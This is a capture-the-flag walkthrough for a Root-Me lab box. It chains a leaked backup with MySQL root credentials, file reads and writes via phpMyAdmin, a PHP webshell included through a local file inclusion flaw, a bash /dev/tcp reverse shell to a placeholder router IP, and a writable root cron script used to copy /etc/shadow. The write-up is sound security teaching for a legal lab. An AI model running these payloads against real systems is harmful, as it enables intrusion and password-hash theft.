Root-Them
Enumeration
After launching the box, we get a hostname to attack. We'll focus on the web part so let's start by launching a directory scanner like feroxbuster:
$ feroxbuster -u http://ctf16.root-me.org/ -x html,php --collect-backups
[...]
200 GET 22l 74w 791c http://ctf16.root-me.org/list/index.php
200 GET 42l 152w 1463c http://ctf16.root-me.org/list/index.bak
[...]
301 GET 9l 28w 326c http://ctf16.root-me.org/phpmyadmin => http://ctf16.root-me.org/phpmyadmin/
[...]
The --collect-backups
flag will, for each successful response, try a few extensions like .bak
, .old
, ~
, etc... to try to discover backups of the file.
In our case, we found a backup of /list/index.php
. Let's take a look:
<?php
if (isset($email)) {
$link = mysql_connect('localhost', 'root', 'mysqlpassword');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo '<!-- Connected successfully -->';
mysql_select_db("contacts") or die('Could not select database');
$query = "insert into contact set name='$name', email='$email', phone='$phone', org='$org'";
mysql_query($query) or die('Query error' . mysql_error());
mysql_close($link);
echo "<h2>Thank you for registering!</h2>";
echo "<p>You have successfully been added to our contact database.</p>";
echo "<p>Click <a href='../index.php'>here</a> to return to our homepage.</p>";
}
SQL stuff
It leaks the MySQL credentials. As we saw in the feroxbuster
output, there is a /phpmyadmin/
endpoint, so let's see if we can login:
Yes we can! And we are the root@localhost
user (this doesn't mean the mysql
process is running as root, but we have full access to all databases and some dangerous functionalities like LOAD_FILE()
and SELECT INTO OUTFILE
are available).
We can use a SQL editor by clicking on this icon:
Since, we are root@localhost
, we can use the LOAD_FILE
function to read arbitrary files (that we have read permission to of course):
/var/www/html/
is the default path for many applications, especially PHP apps running on Apache, so that's a good first guess and here we successfully get the source code of /index.php
.
Another dangerous thing we can do is using SELECT INTO OUTFILE
to write arbitrary files:
As we can see, we don't have permission to write in /var/www/html/
, otherwise we could have written a PHP file and execute arbitrary commands on the server.
File Inclusion
/index.php
has an interesting page
parameter:
This is a good target for a file inclusion vulnerability:
We've set the page
parameter to /etc/passwd
and it tried to call include_once("inc//etc/passwd.php")
which failed.
Since there is no sanitization of the page
parameter, we can include any file on the server ending in .php
.
With our access to MySQL, we can write arbitrary files, so we win!
Let's start by writing a simple PHP webshell to /tmp/
:
SELECT "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php";
$_REQUEST is a special PHP variable that is populated with GET and POST parameters of the request.
Everyone has permission to write to /tmp/
so we'll place the webshell there.
Now we just have to include it via the LFI (and specify the cmd
parameter) to execute arbitrary commands:
$ curl 'http://ctf16.root-me.org/?page=../../../../tmp/shell&cmd=id'
[...]
<div id="main">uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
[...]
To get a reverse shell, you'll have to find a way to make it possible for the challenge server (ctf16.root-me.org
for me in this case) to talk to your PC / VM / whatever you're using.
To do that, you can forward a port on your router, or use a service like ngrok, etc etc...
I personally went the port forwarding route so my reverse shell payload looks like this:
curl 'http://ctf16.root-me.org/?page=../../../../tmp/shell' \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ROUTER_IP/45666 0>&1"'
I forwarded port 45666 on my router to my machine which has a nc
listener:
nc -lnvp 4242
Port 4242 is arbitrary here, just make sure you use the one defined in the port forwarding settings on your router.
If all went well, we should receive a connection back on our nc
listener:
bash-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
We executed code in the context of the webserver so it's no surprise that we are the apache user (sometimes also called www-data).
Privesc
One interesting privilege escalation vector on Linux (especially servers) is cron jobs. A cron job is a task (executable or shell script) that gets executed on a specific date, or specific time interval.
Each user can have their own crontab (file that specifies tasks to run) but there is a global one located at /etc/crontab
:
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
* * * * * root /var/www/html/events/scripts/cron-curl.sh
5 * * * * root /usr/bin/webalizer
The lines with run-parts
are part of the default system installation so nothing of interest here.
The last two lines are much more interesting. The one with cron-curl.sh
has 5 asterisks (*
) which means it runs every minute. The other with /usr/bin/webalizer
runs on minute 5 of each hour, each day, etc etc... Here is a cool website to (try) to understand this weird syntax.
Right after the 5 symbols to define the timing, we have the user which will run the task, in this case root. That's good to know but what's even better is that we have write permission on /var/www/html/events/scripts/cron-curl.sh
. This means we can modify this script and make root execute anything we want.
There are lots of possibilities here but we'll go with copying /etc/shadow
to /tmp/
in order to see the password hash of every user. Of course don't forget to delete the file after you don't need it anymore to avoid spoiling the fun for other players (:
#!/bin/sh
# $Id: cron-curl.sh,v 1.3 2006/08/22 07:38:24 dries Exp $
curl --silent --compressed http://localhost/events/cron.php
cat /etc/shadow > /tmp/hehexd
After waiting at most one minute, we should see a hehexd
file in /tmp/
:
bash-3.2$ cat /tmp/hehexd
[...]
root:$1$FktU[...]
[...]
If you choose to send yourself a reverse shell, make sure to put it in the background by appending a &
at the end. Otherwise, the reverse shell will block the script so you may crash something.
Ending note
I only showed 1 way of rooting the box, do not hesitate to explore other possibilities (: